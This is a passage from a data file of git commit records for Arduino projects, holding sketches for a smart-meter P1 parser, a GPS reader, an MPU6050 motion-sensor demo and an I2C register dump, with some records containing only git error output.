transmit_code(up6); \n }\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'GatewayRF2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e7dafa5fc44fedceeeebf2940989435532fcef02","subject":"almost","message":"almost\n","repos":"Au1st3in\/fall2015-e121-arduino-code,Au1st3in\/fall2015-e121-arduino-code","old_file":"robot_main\/robot_main.ino","new_file":"robot_main\/robot_main.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Au1st3in\/fall2015-e121-arduino-code.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"44d078acc303c6ddbe522f7e5fdab974eb7f6c26","subject":"Update ProbeCube_pc_v1b0223.ino","message":"Update ProbeCube_pc_v1b0223.ino","repos":"Lafudoci\/ProbeCube","old_file":"Photon based\/ProbeCube_pc_v1b0223.ino","new_file":"Photon based\/ProbeCube_pc_v1b0223.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Photon' did not match any file(s) known to git\nerror: pathspec 'based\/ProbeCube_pc_v1b0223.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1e1123ee7b8be1dd47d0e21c7a289ebf84949745","subject":"Asservissement: - Modification du calcul de la vitesse - Inversion des pins moteur - Ajout des fonctions turnAround","message":"Asservissement:\n- Modification du calcul de la vitesse\n- Inversion des pins moteur\n- Ajout des fonctions turnAround\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Moteur\/Software\/Asservissement\/Asservissement vitesse\/Asservissement vitesse\/asservissementVitesse.ino","new_file":"Module Moteur\/Software\/Asservissement\/Asservissement vitesse\/Asservissement vitesse\/asservissementVitesse.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Moteur\/Software\/Asservissement\/Asservissement' did not match any file(s) known to git\nerror: pathspec 'vitesse\/Asservissement' did not match any file(s) known to git\nerror: pathspec 'vitesse\/asservissementVitesse.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"80e968d7f7f611139a9c160c5b8ac41982dd8e1d","subject":"add p1scanner demo sketch","message":"add p1scanner demo sketch\n","repos":"jcw\/jeelib,jcw\/jeelib","old_file":"examples\/RF12\/p1scanner\/p1scanner.ino","new_file":"examples\/RF12\/p1scanner\/p1scanner.ino","new_contents":"\/\/\/ @dir p1scanner\n\/\/\/ Parse P1 data from smart meter and send as compressed packet over RF12.\n\/\/\/ @see http:\/\/jeelabs.org\/2013\/01\/02\/encoding-p1-data\/\n\/\/ 2012-12-31 <jc@wippler.nl> http:\/\/opensource.org\/licenses\/mit-license.php\n\n#include <JeeLib.h>\n#include <SoftwareSerial.h>\n\n#define DEBUG 0 \/\/ set to 1 to use fake data instead of SoftwareSerial\n#define LED 9 \/\/ set to 0 to disable LED blinking\n\nconst char* data = \n\"\/XMX5XMXABCE000046099\\n\"\n\"\\n\"\n\"0-0:96.1.1(30313337323430332020202020202020)\\n\"\n\"1-0:1.8.1(00003.540*kWh)\\n\"\n\"1-0:1.8.2(00011.199*kWh)\\n\"\n\"1-0:2.8.1(00000.000*kWh)\\n\"\n\"1-0:2.8.2(00004.667*kWh)\\n\"\n\"0-0:96.14.0(0002)\\n\"\n\"1-0:1.7.0(0000.35*kW)\\n\"\n\"1-0:2.7.0(0000.00*kW)\\n\"\n\"0-0:17.0.0(999*A)\\n\"\n\"0-0:96.3.10(1)\\n\"\n\"0-0:96.13.1()\\n\"\n\"0-0:96.13.0()\\n\"\n\"0-1:96.1.0(3131323838323030303336383037303132)\\n\"\n\"0-1:24.1.0(03)\\n\"\n\"0-1:24.3.0(121129160000)(00)(60)(1)(0-1:24.2.0)(m3)\\n\"\n\"(00014.684)\\n\"\n\"0-1:24.4.0(2)\\n\"\n\"!\\n\"\n;\n\n#define FORMAT 1\n#define NTYPES (sizeof typeMap \/ sizeof *typeMap)\n\n\/\/ list of codes to be sent out (only compares lower byte!)\nconst byte typeMap [] = {\n 181, 182, 281, 282, 96140, 170, 270, 2410, 2420, 2440\n};\n\nSoftwareSerial mySerial (7, 17, true); \/\/ inverted logic\n\nbyte type;\nuint32_t value;\nuint32_t readings[NTYPES+1];\nbyte payload[5*NTYPES], *fill;\n\nstatic bool p1_scanner (char c) {\n switch (c) {\n case ':':\n type = 0;\n value = 0;\n break;\n case '(':\n if (type == 0)\n type = value; \/\/ truncates to lower byte\n value = 0;\n case '.':\n break;\n case ')':\n if (type)\n return true;\n break;\n default:\n if ('0' <= c && c <= '9')\n value = 10 * value + (c - '0');\n }\n return false;\n}\n\nstatic void addValue (uint32_t v, byte mask =0x80) {\n uint32_t w = v >> 7;\n if (w)\n addValue(w, 0);\n *fill++ = (v & 0x7F) | mask;\n}\n\nstatic void collectData (bool empty =false) {\n fill = payload;\n addValue(FORMAT);\n if (!empty)\n for (byte i = 0; i < NTYPES; ++i)\n addValue(readings[i]);\n byte n = fill - payload;\n \n if (DEBUG) {\n for (byte i = 0; i < n; ++i) {\n Serial.print(' ');\n Serial.print(payload[i], HEX);\n }\n Serial.println();\n }\n \n while (!rf12_canSend())\n rf12_recvDone();\n rf12_sendStart(0, payload, n);\n rf12_sendWait(1);\n}\n\nvoid setup () {\n if (DEBUG) {\n Serial.begin(57600);\n Serial.println(\"\\n[p1scanner]\");\n }\n mySerial.begin(9600);\n \/\/ digitalWrite(7, 1); \/\/ enable pull-up\n\n if (LED) {\n pinMode(LED, OUTPUT);\n digitalWrite(LED, 1);\n }\n\n rf12_initialize(18, RF12_868MHZ, 5);\n collectData(true); \/\/ empty packet on power-up\n}\n\nvoid loop () {\n int c;\n if (DEBUG) {\n c = *data;\n if (c)\n ++data;\n } else {\n c = mySerial.read();\n if (c > 0) {\n c &= 0x7F;\n \/\/ Serial.write(c);\n }\n }\n switch (c) {\n case '\/':\n if (LED)\n digitalWrite(LED, 0); \/\/ LED on\n break;\n case '!':\n collectData();\n memset(readings, 0, sizeof readings);\n if (LED)\n digitalWrite(LED, 1); \/\/ LED off\n break;\n default:\n if (p1_scanner(c)) {\n if (DEBUG) {\n Serial.print(type);\n Serial.print('=');\n Serial.println(value);\n }\n for (byte i = 0; i < NTYPES; ++i)\n if (type == typeMap[i]) {\n readings[i] = value;\n break;\n }\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/RF12\/p1scanner\/p1scanner.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"65517b824630070a8ef5351a3f07c643de659be9","subject":"Read GPS data from sensor and write it to the serial port","message":"Read GPS data from sensor and write it to the serial port\n","repos":"GillisWerrebrouck\/SportModule,GillisWerrebrouck\/SportModule","old_file":"Sensors\/GpsDataToSerial\/GpsDataToSerial.ino","new_file":"Sensors\/GpsDataToSerial\/GpsDataToSerial.ino","new_contents":"#include <SoftwareSerial.h>\n\nSoftwareSerial SoftSerial(2, 3);\nchar buffer[265];\nint count=0;\n\nvoid setup()\n{\n SoftSerial.begin(9600);\n Serial.begin(9600);\n}\n \nvoid loop()\n{\n if (SoftSerial.available())\n {\n while(SoftSerial.available())\n {\n buffer[count++]=SoftSerial.read();\n if(count == 265)break;\n }\n\n String value = \"\";\n\n if(String(char(buffer[0])) + char(buffer[1]) + char(buffer[2]) + char(buffer[3]) + char(buffer[4]) + char(buffer[5]) == \"$GPGGA\"){\n boolean isEnd = false;\n int commaCount = 0;\n\n for(int i = 6; isEnd == false; i++){ \n if(buffer[i] == 44)\n commaCount++;\n \n if(commaCount == 14)\n isEnd = true;\n\n if(isEnd == true){\n i -= 6;\n for(int x = 0; x <= i; x++){\n char current = char(buffer[x]);\n value += current;\n }\n\n Serial.println(value);\n \n Serial.println(getValue(value,',',1));\n Serial.println(getValue(value,',',2));\n Serial.println(getValue(value,',',4));\n }\n }\n }\n \n delay(1000);\n clearBufferArray();\n count = 0;\n }\n}\n\nvoid clearBufferArray()\n{\n for (int i=0; i<count;i++)\n buffer[i]=NULL;\n}\n\nString getValue(String data, char separator, int index)\n{\n int found = 0;\n int strIndex[] = {0, -1};\n int maxIndex = data.length()-1;\n\n for(int i=0; i<=maxIndex && found<=index; i++){\n if(data.charAt(i)==separator || i==maxIndex){\n found++;\n strIndex[0] = strIndex[1]+1;\n strIndex[1] = (i == maxIndex) ? i+1 : i;\n }\n }\n\n return found>index ? data.substring(strIndex[0], strIndex[1]) : \"\";\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sensors\/GpsDataToSerial\/GpsDataToSerial.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"57bbd703692543dbdb0ed6e2d73c15103729295e","subject":"adding arduino firmware this is a copy of https:\/\/github.com\/jrowberg\/i2cdevlib\/blob\/master\/Arduino\/MPU6050\/examples\/MPU6050_DMP6\/MPU6050_DMP6.ino, commit 35de59ba90a6bbc4371e89fe84e11aae324d8e4c","message":"adding arduino firmware\nthis is a copy of https:\/\/github.com\/jrowberg\/i2cdevlib\/blob\/master\/Arduino\/MPU6050\/examples\/MPU6050_DMP6\/MPU6050_DMP6.ino, commit 35de59ba90a6bbc4371e89fe84e11aae324d8e4c\n","repos":"fsteinhardt\/mpu6050_serial_to_imu","old_file":"arduino\/MPU6050_DMP6\/MPU6050_DMP6.ino","new_file":"arduino\/MPU6050_DMP6\/MPU6050_DMP6.ino","new_contents":"\/\/ I2C device class (I2Cdev) demonstration Arduino sketch for MPU6050 class using DMP (MotionApps v2.0)\n\/\/ 6\/21\/2012 by Jeff Rowberg <jeff@rowberg.net>\n\/\/ Updates should (hopefully) always be available at https:\/\/github.com\/jrowberg\/i2cdevlib\n\/\/\n\/\/ Changelog:\n\/\/ 2013-05-08 - added seamless Fastwire support\n\/\/ - added note about gyro calibration\n\/\/ 2012-06-21 - added note about Arduino 1.0.1 + Leonardo compatibility error\n\/\/ 2012-06-20 - improved FIFO overflow handling and simplified read process\n\/\/ 2012-06-19 - completely rearranged DMP initialization code and simplification\n\/\/ 2012-06-13 - pull gyro and accel data from FIFO packet instead of reading directly\n\/\/ 2012-06-09 - fix broken FIFO read sequence and change interrupt detection to RISING\n\/\/ 2012-06-05 - add gravity-compensated initial reference frame acceleration output\n\/\/ - add 3D math helper file to DMP6 example sketch\n\/\/ - add Euler output and Yaw\/Pitch\/Roll output formats\n\/\/ 2012-06-04 - remove accel offset clearing for better results (thanks Sungon Lee)\n\/\/ 2012-06-01 - fixed gyro sensitivity to be 2000 deg\/sec instead of 250\n\/\/ 2012-05-30 - basic DMP initialization working\n\n\/* ============================================\nI2Cdev device library code is placed under the MIT license\nCopyright (c) 2012 Jeff Rowberg\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n===============================================\n*\/\n\n\/\/ I2Cdev and MPU6050 must be installed as libraries, or else the .cpp\/.h files\n\/\/ for both classes must be in the include path of your project\n#include \"I2Cdev.h\"\n\n#include \"MPU6050_6Axis_MotionApps20.h\"\n\/\/#include \"MPU6050.h\" \/\/ not necessary if using MotionApps include file\n\n\/\/ Arduino Wire library is required if I2Cdev I2CDEV_ARDUINO_WIRE implementation\n\/\/ is used in I2Cdev.h\n#if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE\n #include \"Wire.h\"\n#endif\n\n\/\/ class default I2C address is 0x68\n\/\/ specific I2C addresses may be passed as a parameter here\n\/\/ AD0 low = 0x68 (default for SparkFun breakout and InvenSense evaluation board)\n\/\/ AD0 high = 0x69\nMPU6050 mpu;\n\/\/MPU6050 mpu(0x69); \/\/ <-- use for AD0 high\n\n\/* =========================================================================\n NOTE: In addition to connection 3.3v, GND, SDA, and SCL, this sketch\n depends on the MPU-6050's INT pin being connected to the Arduino's\n external interrupt #0 pin. On the Arduino Uno and Mega 2560, this is\n digital I\/O pin 2.\n * ========================================================================= *\/\n\n\/* =========================================================================\n NOTE: Arduino v1.0.1 with the Leonardo board generates a compile error\n when using Serial.write(buf, len). The Teapot output uses this method.\n The solution requires a modification to the Arduino USBAPI.h file, which\n is fortunately simple, but annoying. This will be fixed in the next IDE\n release. For more info, see these links:\n\n http:\/\/arduino.cc\/forum\/index.php\/topic,109987.0.html\n http:\/\/code.google.com\/p\/arduino\/issues\/detail?id=958\n * ========================================================================= *\/\n\n\n\n\/\/ uncomment \"OUTPUT_READABLE_QUATERNION\" if you want to see the actual\n\/\/ quaternion components in a [w, x, y, z] format (not best for parsing\n\/\/ on a remote host such as Processing or something though)\n\/\/#define OUTPUT_READABLE_QUATERNION\n\n\/\/ uncomment \"OUTPUT_READABLE_EULER\" if you want to see Euler angles\n\/\/ (in degrees) calculated from the quaternions coming from the FIFO.\n\/\/ Note that Euler angles suffer from gimbal lock (for more info, see\n\/\/ http:\/\/en.wikipedia.org\/wiki\/Gimbal_lock)\n\/\/#define OUTPUT_READABLE_EULER\n\n\/\/ uncomment \"OUTPUT_READABLE_YAWPITCHROLL\" if you want to see the yaw\/\n\/\/ pitch\/roll angles (in degrees) calculated from the quaternions coming\n\/\/ from the FIFO. Note this also requires gravity vector calculations.\n\/\/ Also note that yaw\/pitch\/roll angles suffer from gimbal lock (for\n\/\/ more info, see: http:\/\/en.wikipedia.org\/wiki\/Gimbal_lock)\n#define OUTPUT_READABLE_YAWPITCHROLL\n\n\/\/ uncomment \"OUTPUT_READABLE_REALACCEL\" if you want to see acceleration\n\/\/ components with gravity removed. This acceleration reference frame is\n\/\/ not compensated for orientation, so +X is always +X according to the\n\/\/ sensor, just without the effects of gravity. If you want acceleration\n\/\/ compensated for orientation, us OUTPUT_READABLE_WORLDACCEL instead.\n\/\/#define OUTPUT_READABLE_REALACCEL\n\n\/\/ uncomment \"OUTPUT_READABLE_WORLDACCEL\" if you want to see acceleration\n\/\/ components with gravity removed and adjusted for the world frame of\n\/\/ reference (yaw is relative to initial orientation, since no magnetometer\n\/\/ is present in this case). Could be quite handy in some cases.\n\/\/#define OUTPUT_READABLE_WORLDACCEL\n\n\/\/ uncomment \"OUTPUT_TEAPOT\" if you want output that matches the\n\/\/ format used for the InvenSense teapot demo\n\/\/#define OUTPUT_TEAPOT\n\n\n\n#define INTERRUPT_PIN 2 \/\/ use pin 2 on Arduino Uno & most boards\n#define LED_PIN 13 \/\/ (Arduino is 13, Teensy is 11, Teensy++ is 6)\nbool blinkState = false;\n\n\/\/ MPU control\/status vars\nbool dmpReady = false; \/\/ set true if DMP init was successful\nuint8_t mpuIntStatus; \/\/ holds actual interrupt status byte from MPU\nuint8_t devStatus; \/\/ return status after each device operation (0 = success, !0 = error)\nuint16_t packetSize; \/\/ expected DMP packet size (default is 42 bytes)\nuint16_t fifoCount; \/\/ count of all bytes currently in FIFO\nuint8_t fifoBuffer[64]; \/\/ FIFO storage buffer\n\n\/\/ orientation\/motion vars\nQuaternion q; \/\/ [w, x, y, z] quaternion container\nVectorInt16 aa; \/\/ [x, y, z] accel sensor measurements\nVectorInt16 aaReal; \/\/ [x, y, z] gravity-free accel sensor measurements\nVectorInt16 aaWorld; \/\/ [x, y, z] world-frame accel sensor measurements\nVectorFloat gravity; \/\/ [x, y, z] gravity vector\nfloat euler[3]; \/\/ [psi, theta, phi] Euler angle container\nfloat ypr[3]; \/\/ [yaw, pitch, roll] yaw\/pitch\/roll container and gravity vector\n\n\/\/ packet structure for InvenSense teapot demo\nuint8_t teapotPacket[14] = { '$', 0x02, 0,0, 0,0, 0,0, 0,0, 0x00, 0x00, '\\r', '\\n' };\n\n\n\n\/\/ ================================================================\n\/\/ === INTERRUPT DETECTION ROUTINE ===\n\/\/ ================================================================\n\nvolatile bool mpuInterrupt = false; \/\/ indicates whether MPU interrupt pin has gone high\nvoid dmpDataReady() {\n mpuInterrupt = true;\n}\n\n\n\n\/\/ ================================================================\n\/\/ === INITIAL SETUP ===\n\/\/ ================================================================\n\nvoid setup() {\n \/\/ join I2C bus (I2Cdev library doesn't do this automatically)\n #if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE\n Wire.begin();\n Wire.setClock(400000); \/\/ 400kHz I2C clock. Comment this line if having compilation difficulties\n #elif I2CDEV_IMPLEMENTATION == I2CDEV_BUILTIN_FASTWIRE\n Fastwire::setup(400, true);\n #endif\n\n \/\/ initialize serial communication\n \/\/ (115200 chosen because it is required for Teapot Demo output, but it's\n \/\/ really up to you depending on your project)\n Serial.begin(115200);\n while (!Serial); \/\/ wait for Leonardo enumeration, others continue immediately\n\n \/\/ NOTE: 8MHz or slower host processors, like the Teensy @ 3.3v or Ardunio\n \/\/ Pro Mini running at 3.3v, cannot handle this baud rate reliably due to\n \/\/ the baud timing being too misaligned with processor ticks. You must use\n \/\/ 38400 or slower in these cases, or use some kind of external separate\n \/\/ crystal solution for the UART timer.\n\n \/\/ initialize device\n Serial.println(F(\"Initializing I2C devices...\"));\n mpu.initialize();\n pinMode(INTERRUPT_PIN, INPUT);\n\n \/\/ verify connection\n Serial.println(F(\"Testing device connections...\"));\n Serial.println(mpu.testConnection() ? F(\"MPU6050 connection successful\") : F(\"MPU6050 connection failed\"));\n\n \/\/ wait for ready\n Serial.println(F(\"\\nSend any character to begin DMP programming and demo: \"));\n while (Serial.available() && Serial.read()); \/\/ empty buffer\n while (!Serial.available()); \/\/ wait for data\n while (Serial.available() && Serial.read()); \/\/ empty buffer again\n\n \/\/ load and configure the DMP\n Serial.println(F(\"Initializing DMP...\"));\n devStatus = mpu.dmpInitialize();\n\n \/\/ supply your own gyro offsets here, scaled for min sensitivity\n mpu.setXGyroOffset(220);\n mpu.setYGyroOffset(76);\n mpu.setZGyroOffset(-85);\n mpu.setZAccelOffset(1788); \/\/ 1688 factory default for my test chip\n\n \/\/ make sure it worked (returns 0 if so)\n if (devStatus == 0) {\n \/\/ turn on the DMP, now that it's ready\n Serial.println(F(\"Enabling DMP...\"));\n mpu.setDMPEnabled(true);\n\n \/\/ enable Arduino interrupt detection\n Serial.println(F(\"Enabling interrupt detection (Arduino external interrupt 0)...\"));\n attachInterrupt(digitalPinToInterrupt(INTERRUPT_PIN), dmpDataReady, RISING);\n mpuIntStatus = mpu.getIntStatus();\n\n \/\/ set our DMP Ready flag so the main loop() function knows it's okay to use it\n Serial.println(F(\"DMP ready! Waiting for first interrupt...\"));\n dmpReady = true;\n\n \/\/ get expected DMP packet size for later comparison\n packetSize = mpu.dmpGetFIFOPacketSize();\n } else {\n \/\/ ERROR!\n \/\/ 1 = initial memory load failed\n \/\/ 2 = DMP configuration updates failed\n \/\/ (if it's going to break, usually the code will be 1)\n Serial.print(F(\"DMP Initialization failed (code \"));\n Serial.print(devStatus);\n Serial.println(F(\")\"));\n }\n\n \/\/ configure LED for output\n pinMode(LED_PIN, OUTPUT);\n}\n\n\n\n\/\/ ================================================================\n\/\/ === MAIN PROGRAM LOOP ===\n\/\/ ================================================================\n\nvoid loop() {\n \/\/ if programming failed, don't try to do anything\n if (!dmpReady) return;\n\n \/\/ wait for MPU interrupt or extra packet(s) available\n while (!mpuInterrupt && fifoCount < packetSize) {\n \/\/ other program behavior stuff here\n \/\/ .\n \/\/ .\n \/\/ .\n \/\/ if you are really paranoid you can frequently test in between other\n \/\/ stuff to see if mpuInterrupt is true, and if so, \"break;\" from the\n \/\/ while() loop to immediately process the MPU data\n \/\/ .\n \/\/ .\n \/\/ .\n }\n\n \/\/ reset interrupt flag and get INT_STATUS byte\n mpuInterrupt = false;\n mpuIntStatus = mpu.getIntStatus();\n\n \/\/ get current FIFO count\n fifoCount = mpu.getFIFOCount();\n\n \/\/ check for overflow (this should never happen unless our code is too inefficient)\n if ((mpuIntStatus & 0x10) || fifoCount == 1024) {\n \/\/ reset so we can continue cleanly\n mpu.resetFIFO();\n Serial.println(F(\"FIFO overflow!\"));\n\n \/\/ otherwise, check for DMP data ready interrupt (this should happen frequently)\n } else if (mpuIntStatus & 0x02) {\n \/\/ wait for correct available data length, should be a VERY short wait\n while (fifoCount < packetSize) fifoCount = mpu.getFIFOCount();\n\n \/\/ read a packet from FIFO\n mpu.getFIFOBytes(fifoBuffer, packetSize);\n \n \/\/ track FIFO count here in case there is > 1 packet available\n \/\/ (this lets us immediately read more without waiting for an interrupt)\n fifoCount -= packetSize;\n\n #ifdef OUTPUT_READABLE_QUATERNION\n \/\/ display quaternion values in easy matrix form: w x y z\n mpu.dmpGetQuaternion(&q, fifoBuffer);\n Serial.print(\"quat\\t\");\n Serial.print(q.w);\n Serial.print(\"\\t\");\n Serial.print(q.x);\n Serial.print(\"\\t\");\n Serial.print(q.y);\n Serial.print(\"\\t\");\n Serial.println(q.z);\n #endif\n\n #ifdef OUTPUT_READABLE_EULER\n \/\/ display Euler angles in degrees\n mpu.dmpGetQuaternion(&q, fifoBuffer);\n mpu.dmpGetEuler(euler, &q);\n Serial.print(\"euler\\t\");\n Serial.print(euler[0] * 180\/M_PI);\n Serial.print(\"\\t\");\n Serial.print(euler[1] * 180\/M_PI);\n Serial.print(\"\\t\");\n Serial.println(euler[2] * 180\/M_PI);\n #endif\n\n #ifdef OUTPUT_READABLE_YAWPITCHROLL\n \/\/ display Euler angles in degrees\n mpu.dmpGetQuaternion(&q, fifoBuffer);\n mpu.dmpGetGravity(&gravity, &q);\n mpu.dmpGetYawPitchRoll(ypr, &q, &gravity);\n Serial.print(\"ypr\\t\");\n Serial.print(ypr[0] * 180\/M_PI);\n Serial.print(\"\\t\");\n Serial.print(ypr[1] * 180\/M_PI);\n Serial.print(\"\\t\");\n Serial.println(ypr[2] * 180\/M_PI);\n #endif\n\n #ifdef OUTPUT_READABLE_REALACCEL\n \/\/ display real acceleration, adjusted to remove gravity\n mpu.dmpGetQuaternion(&q, fifoBuffer);\n mpu.dmpGetAccel(&aa, fifoBuffer);\n mpu.dmpGetGravity(&gravity, &q);\n mpu.dmpGetLinearAccel(&aaReal, &aa, &gravity);\n Serial.print(\"areal\\t\");\n Serial.print(aaReal.x);\n Serial.print(\"\\t\");\n Serial.print(aaReal.y);\n Serial.print(\"\\t\");\n Serial.println(aaReal.z);\n #endif\n\n #ifdef OUTPUT_READABLE_WORLDACCEL\n \/\/ display initial world-frame acceleration, adjusted to remove gravity\n \/\/ and rotated based on known orientation from quaternion\n mpu.dmpGetQuaternion(&q, fifoBuffer);\n mpu.dmpGetAccel(&aa, fifoBuffer);\n mpu.dmpGetGravity(&gravity, &q);\n mpu.dmpGetLinearAccel(&aaReal, &aa, &gravity);\n mpu.dmpGetLinearAccelInWorld(&aaWorld, &aaReal, &q);\n Serial.print(\"aworld\\t\");\n Serial.print(aaWorld.x);\n Serial.print(\"\\t\");\n Serial.print(aaWorld.y);\n Serial.print(\"\\t\");\n Serial.println(aaWorld.z);\n #endif\n \n #ifdef OUTPUT_TEAPOT\n \/\/ display quaternion values in InvenSense Teapot demo format:\n teapotPacket[2] = fifoBuffer[0];\n teapotPacket[3] = fifoBuffer[1];\n teapotPacket[4] = fifoBuffer[4];\n teapotPacket[5] = fifoBuffer[5];\n teapotPacket[6] = fifoBuffer[8];\n teapotPacket[7] = fifoBuffer[9];\n teapotPacket[8] = fifoBuffer[12];\n teapotPacket[9] = fifoBuffer[13];\n Serial.write(teapotPacket, 14);\n teapotPacket[11]++; \/\/ packetCount, loops at 0xFF on purpose\n #endif\n\n \/\/ blink LED to indicate activity\n blinkState = !blinkState;\n digitalWrite(LED_PIN, blinkState);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/MPU6050_DMP6\/MPU6050_DMP6.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"9d03e2799d28aaf7eb6953ee9176614381f25ab1","subject":"Dump del estado de los registros","message":"Dump del estado de los registros\n","repos":"jalcaldea\/Empotrados","old_file":"test\/estado_GPIO\/estado_GPIO.ino","new_file":"test\/estado_GPIO\/estado_GPIO.ino","new_contents":"\/\/ --------------------------------------\n\/\/ Habilitar la EEPROM\n\/\/\n\n#include <Wire.h>\n\n#define GPIO 0x20\n#define MEM 0x50\n\n#define ENABLER 0x2D\n#define DIRECTION 0x1C\n\n#define R_GPORT0 0x00\n#define W_GPORT0 0x08\n\n#define R_GPORT1 0x01\n#define W_GPORT1 0x09\n\n#define PWM_SEL 0x1A\n\n#define PASS1 0x43\n#define PASS2 0x4D\n#define PASS3 0x53\n\n#define VALUE 0x02\n\n#define LASTDIR 27647\n#define NULL 0xF2\n\n#define STATUS 0x2E\n\nint turnUpEEPROM() {\n\n Wire.beginTransmission(GPIO);\n Wire.write((byte)ENABLER);\n Wire.write((byte)PASS1);\n Wire.write((byte)PASS2);\n Wire.write((byte)PASS3);\n Wire.write((byte)VALUE);\n Wire.endTransmission();\n\n return save(LASTDIR, NULL);\n\n}\n\n\nint save(unsigned int dir, byte data) {\n\n byte high = dir \/ 256;\n byte low = dir % 256;\n\n Wire.beginTransmission(MEM);\n Wire.write((byte)high);\n Wire.write((byte)low);\n Wire.write(data);\n int error = Wire.endTransmission();\n\n return error;\n\n}\n \n\nint saveData(unsigned int dir, char* data) {\n\n\n byte high = dir \/ 256;\n byte low = dir % 256;\n\n Wire.beginTransmission(MEM);\n Wire.write((byte)high);\n Wire.write((byte)low);\n Wire.write(data);\n int error = Wire.endTransmission();\n\n return error;\n\n}\n\n\nbyte read(unsigned int dir) {\n byte rdata = NULL;\n\n byte high = dir \/ 256;\n byte low = dir % 256;\n\n\n Wire.beginTransmission(MEM);\n Wire.write((byte)high);\n Wire.write((byte)low);\n Wire.endTransmission();\n\n Wire.requestFrom(MEM, 1);\n if (Wire.available()) {\n rdata = Wire.read();\n }\n\n return rdata;\n\n}\n\nvoid readData(unsigned int dir,byte* rdata, int len) {\n \n byte high = dir \/ 256;\n byte low = dir % 256;\n\n\n Wire.beginTransmission(MEM);\n Wire.write((byte)high);\n Wire.write((byte)low);\n int error = Wire.endTransmission();\n\n Wire.requestFrom(MEM, len);\n int c = 0;\n for ( c = 0; c < len; c++ ) {\n if (Wire.available()) {\n rdata[c] = Wire.read();\n }\n }\n\n}\n\nbyte readReg(byte reg){\n Wire.beginTransmission(GPIO);\n Wire.write(reg);\n Wire.endTransmission(false);\n \n byte rdata = NULL;\n \n Wire.requestFrom(GPIO,1);\n if (Wire.available()){\n rdata = Wire.read();\n }\n Wire.endTransmission();\n \n return rdata;\n}\nvoid setup(){\n \n Wire.begin();\n\n Serial.begin(9600);\n while (!Serial);\n\n Serial.print(\"Iniciando...\");\n \/*int error = turnUpEEPROM();\n\n if (error == 0) {\n Serial.println(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.println(error);\n }*\/\n \n}\n\n\nvoid loop()\n{\n\n Serial.println(\"INICIO\\n\\n\");\n\n \/*Wire.beginTransmission(GPIO);\n Wire.write((byte)W_GPORT1);\n Wire.write((byte)10);\n Wire.endTransmission();*\/\n \n \/* Wire.beginTransmission(GPIO);\n Wire.write(W_GPORT0);\n Wire.write((byte)255);\n int error = Wire.endTransmission();*\/\n \n Serial.println(\"Estos son los valores de GPORT0...\");\n \n byte rdata = 0;\n \n byte dir = 0;\n for(dir=0;dir<49;dir++){ \/\/antes el 8 era un 49\n \n Serial.print(\"0x\");\n if(dir<16){\n Serial.print(\"0\");\n }\n \n Serial.print(dir,HEX);\n \n Serial.print(\" - \");\n \n \n rdata = readReg(dir);\n \n\n if((dir<24)||(dir>24 && dir <30)){\n \n if(rdata<2){\n Serial.print(\"0\");\n }\n if(rdata<4){\n Serial.print(\"0\");\n }\n if(rdata<8){\n Serial.print(\"0\");\n }\n if(rdata<16){\n Serial.print(\"0\");\n }\n if(rdata<32){\n Serial.print(\"0\");\n }\n if(rdata<64){\n Serial.print(\"0\");\n }\n if(rdata<128){\n Serial.print(\"0\");\n }\n \n Serial.print(rdata,BIN);\n \n }else{\n Serial.print(\" -- \");\n \n }\n Serial.print(\" \");\n if(rdata<16){\n Serial.print(\"0\");\n }\n Serial.println(rdata,HEX);\n\n }\n \n \/*Wire.beginTransmission(GPIO);\n Wire.write((byte)W_GPORT0);\n Wire.write((byte)0);\n Wire.endTransmission();*\/\n \n \/*Wire.beginTransmission(GPIO);\n Wire.write((byte)0x30);\n Wire.write((byte)0x01);\n Wire.endTransmission();*\/\n \n Serial.println(\"\\n======================= HEMOS PUTO ACABADO ==================================\");\n\n delay(2000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'test\/estado_GPIO\/estado_GPIO.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} 